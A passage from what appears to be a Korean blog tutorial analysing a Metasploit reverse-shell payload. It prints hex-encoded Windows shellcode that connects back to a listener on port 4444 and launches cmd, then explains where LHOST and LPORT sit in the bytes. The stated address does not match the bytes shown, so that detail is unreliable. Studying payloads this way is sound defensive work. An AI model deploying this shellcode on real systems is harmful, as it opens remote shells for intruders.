            "\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x50\x50\x40" +
            "\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A\x05\x68\x7F\x00" +
            "\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56\x57\x68\x99\xA5" +
            "\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75\xEC\x68\xF0\xB5" +
            "\xA2\x56\xFF\xD5\x68\x63\x6D\x64\x00\x89\xE3\x57\x57\x57\x31\xF6" +
            "\x6A\x12\x59\x56\xE2\xFD\x66\xC7\x44\x24\x3C\x01\x01\x8D\x44\x24" +
            "\x10\xC6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4E\x56\x56\x53\x56" +
            "\x68\x79\xCC\x3F\x86\xFF\xD5\x89\xE0\x4E\x56\x46\xFF\x30\x68\x08" +
            "\x87\x1D\x60\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6\x95\xBD\x9D\xFF" +
            "\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A" +
            "\x00\x53\xFF\xD5"
        }
      ))
  end
end

로우 데이터의 어셈블리어를 보면 어떤 구조로 되어 있는지 확인이 가능하다. 여기서는 모든 구조를 파악하지 않고, LHOST, LPORT만 확인한다.


해당 정보는 ad 섹션에 LHOST, b2 섹션에 LPORT가 존재한다. 0x6000a0a는 10.10.0.6, 0x5c11은 4444를 의미한다.


로우 데이터의 어셈블리어


▶ 메타스플로잇 익스플로잇 코드 분석 (Metasploit Framework)

▶ Metasploit msfvenom 기능 및 사용법

▶ Metasploit meterpreter 기능 및 사용법

▶ Metasploit msfconsole 사용법 및 활용

▶ XSSF(Cross Site Scripting Framework) 사용법

▶ 안드로이드 암호화 구현 취약점 (Android AES 복호화)

  • 카카오톡-공유
  • 네이버-블로그-공유
  • 네이버-밴드-공유
  • 페이스북-공유
  • 트위터-공유
  • 카카오스토리-공유